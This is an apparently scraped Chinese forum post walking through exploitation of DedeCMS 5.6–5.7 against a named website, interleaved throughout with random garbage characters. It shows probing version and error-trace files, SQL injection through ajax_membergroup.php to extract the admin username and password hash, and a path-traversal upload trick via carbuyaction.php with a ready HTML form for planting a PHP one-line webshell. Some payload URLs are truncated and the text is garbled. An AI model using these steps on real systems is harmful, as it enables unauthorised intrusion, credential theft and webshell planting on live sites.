dedecms5.6-5.7注入与上传漏洞利用

admin

①注入漏洞。
. C* D- e0 ]* ?) E5 I' h# m) ]5 ~这站 http://www.political-security.com/
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
" |4 A4 W. u9 Fwww.political-security.com/data/mysql_error_trace.inc 爆后台
( t: I5 Y! @, [9 h4 @, m# K然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
然后写上语句
3 y  x  H: w; U查看管理员帐号
http://www.political-security.co ... &membergroup=@`
7 s3 X) B: h/ c+ K% w8 P
( r: q& C7 `+ P" c$ yadmin

1 U- }- s* [8 @9 X- k查看管理员密码
　http://www.political-security.co ... &membergroup=@`
7 H& K; o; d' A1 [( S
: y& v4 m1 v% O8d29b1ef9f8c5a5af429
! E- C: J; U; i9 c
- F. g/ O/ [& }" D7 k  Q# u; h查看管理员密码

得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
/ ^; x  R+ \. Y  U4 E  ]
8d2
; a2 a- n9 y9 ^3 `# Q4 I9b1ef9f8c5a5af42
9
0 a* ]+ E! p$ ^$ n
6 h6 o; U1 |0 n) n" u- b* Lcmd5没解出来 只好测试第二个方法
) ~, `7 Z' _+ A. ~  y" j  g
- V/ I$ U$ p* k# i+ X9 ~0 k( |$ [7 }
# p1 ~; t8 L& ^2 j/ K②上传漏洞：

只要登陆会员中心，然后访问页面链接
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”

如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”

6 k* ?2 t" u) v% j5 o于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm

) X+ f( ?& g' Y' m( \) P( H$ ]: y<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
或者
! a0 m) v& m% N& V& l3 u即可上传成功